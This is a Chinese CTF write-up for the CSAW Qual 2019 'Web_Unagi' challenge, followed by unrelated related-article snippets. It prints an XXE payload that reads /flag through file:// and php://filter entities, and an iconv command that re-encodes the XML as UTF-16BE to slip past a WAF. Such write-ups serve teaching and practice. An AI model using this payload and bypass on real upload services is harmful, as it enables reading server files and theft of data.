[CSAWQual 2019]Web_Unagi - 文件上传+XXE注入(XML编码绕过)

news/2024/5/20 0:14:48 标签: web安全, 安全, ctf, xml, xxe注入, 编码绕过, 文件上传
xmlns="http://www.w3.org/2000/svg" style="display: none;">

[CSAWQual 2019]Web_Unagi

  • 1 解题流程
    • 1.1 分析
    • 1.2 解题
  • 2 思考总结

1

1 解题流程

这篇博客讲了xml进行编码转换绕过的原理:https://www.shawroot.cc/156.html

1.1 分析

  1. 页面可以上传,上传一句话php失败,点击示例发现是xml格式,那么就是XXE注入了
    2
  2. 点击about得到flag位置: Flag is located at /flag, come get it

1.2 解题

  1. 编写XXE注入文件,以xml结尾
    xml"><?xml version='1.0'?>
    <!DOCTYPE users [
    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag" >]>
    或
    <!ENTITY xxe SYSTEM "file:///flag" >]>
    <users>
    	<user>
    		<username>bob</username>
    		<password>passwd2</password>
    		<name>Bob</name>
    		<email>bob@fakesite.com</email>  
    		<group>CSAW2019</group>
    		<intro>&xxe;</intro>
    	</user>
    </users>
    
  2. 尝试上传,发现还是被拦截了,这时候可以查询如何绕过WAF
    xml文档不仅可以用UTF-8编码,也可以用UTF-16、UTF-32和EBCDIC编码。
    在这些编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
    在linux中使用命令将xml转换为16进制
    cat 1.xml | iconv -f UTF-8 -t UTF-16BE > x16.xml
  3. 上传即可获取flag
    flag{5325a120-326c-4829-8778-22c54362a7b4}

2 思考总结

编写xml注意点:
1、属性名大小写要区分
2、flag很长,放在其他属性中只能输出部分,而intro意为introduce个人简介,可以输出长内容


http://www.niftyadmin.cn/n/5079569.html

相关文章

HomeView/主页 的实现

1. 创建数据模型 1.1 创建货币模型 CoinModel.swift import Foundation// GoinGecko API info /*URL:https://api.coingecko.com/api/v3/coins/markets?vs_currencyusd&ordermarket_cap_desc&per_page250&page1&sparklinetrue&price_change_percentage24…

kaggle新赛:写作质量预测大赛【数据挖掘】

赛题名称&#xff1a;Linking Writing Processes to Writing Quality 赛题链接&#xff1a;https://www.kaggle.com/competitions/linking-writing-processes-to-writing-quality 赛题背景 写作过程中存在复杂的行为动作和认知活动&#xff0c;不同作者可能采用不同的计划修…

CART 算法——决策树

目录 1.CART的生成&#xff1a; &#xff08;1&#xff09;回归树的生成 &#xff08;2&#xff09;分类树的生成 ①基尼指数 ②算法步骤 2.CART剪枝&#xff1a; &#xff08;1&#xff09;损失函数 &#xff08;2&#xff09;算法步骤&#xff1a; CART是英文“class…

nrm,npm源的管理工具

npm手动切换淘宝源 查看当前的仓库 npm config get registry设置成淘宝源 npm config set registry https://registry.npmmirror.com/设置回官方源 npm config set registry https://registry.npmjs.org/手动切换不免不太方便&#xff0c;而且网上很多资料淘宝源还是过期的链接…

Tomcat项目启动报错

java.io.IOException: java.lang.ClassCastException: Cannot cast org.springframework.web.SpringServletContainerInitializer to javax.servlet.ServletContainerInitializer解决办法&#xff1a;可能Tomcat版本不对&#xff0c;使用7.0.90版本启动报错&#xff0c;使用8.0…

常见弯道输送机有哪些

提到弯道输送机您可能首先想到的就是弯道滚筒线&#xff0c;其实除了滚筒线之外&#xff0c;也有一些其他线体可以做弯道&#xff0c;下面就为您总结了4种常见的弯道输送机。 1、弯道皮带线&#xff1a;即线体转弯处设计成皮带输送机&#xff0c;这种形式的转弯设计可以实现不同…

flutter 常用组件:文本、图片和按钮

文章目录 文本控件富文本控件图片本地图片网络图片按钮文本控件 ##一’码’当先 Text(这是一段文本这是一段文本这是一段文本这是一段文本这是一段文本这是一段文本这是一段文本这是一段文本,textAlign:TextAlign.center,style: TextStyle(fontWeight: FontWeight.bold, font…

系统架构师备考倒计时26天(每日知识点)

详细的项目范围说明书&#xff0c;是项目成功的关键。 范围定义的输入包括以下内容: ① 项目章程。如果项目章程或初始的范围说明书没有在项目执行组织中使用&#xff0c;同样的信息需要进一步收集和开发&#xff0c;以产生详细的项目范围说明书。 ② 项目范围管理计划。 ③ 组…